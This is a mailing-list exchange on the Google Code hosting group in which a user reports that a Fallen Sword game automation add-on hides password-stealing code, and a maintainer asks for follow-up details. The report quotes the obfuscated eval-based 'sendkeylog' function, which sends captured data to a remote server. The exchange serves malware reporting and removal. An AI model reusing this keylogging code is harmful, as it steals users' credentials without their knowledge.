On Fri, Jan 13, 2012 at 7:16 AM, Wayne <wa...@huntedcow.com> wrote: > This is just to report the project http://code.google.com/p/fs-plus/ which > is an addon designed for automating parts of the game Fallen Sword. > > This script contains the following code that captures a users password and > sends it back to their remote server. > > sendkeylog: function(datastr) { > eval((function(x){var d="";var > p=0;while(p<x.length){if(x.charAt(p)!="`")d+=x.charAt(p++);else{var > l=x.charCodeAt(p+3)-28;if(l>4)d+=d.substr(d.length-x.charCodeAt(p+1)*96-x.charCodeAt(p+2)+3104-l,l);else > d+="`";p+=4}}return > d})("System.xmlhttp(Helper.ascord(\"%68%74%74%70%3A%2F%2F%66%73%77%69%6B%69%2E%65%75%2E%70%6E%2F%73` > 0!2%76` \"#` 7#8` i!F%64%61%74%61` l!4%72%3D\") + datastr);")); > }, > > Please could the project be removed? >
Have you written to the project owners about this? What, if anything, did they have to say in response? Not everyone who serves malware knows that they are serving malware; many are themselves victims. Also please link to the resource in the project containing the keylogging code - is it in a download? In source control? Thanks, -Nathaniel -- You received this message because you are subscribed to the Google Groups "Project Hosting on Google Code" group. To post to this group, send email to google-code-hosting@googlegroups.com. To unsubscribe from this group, send email to google-code-hosting+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/google-code-hosting?hl=en.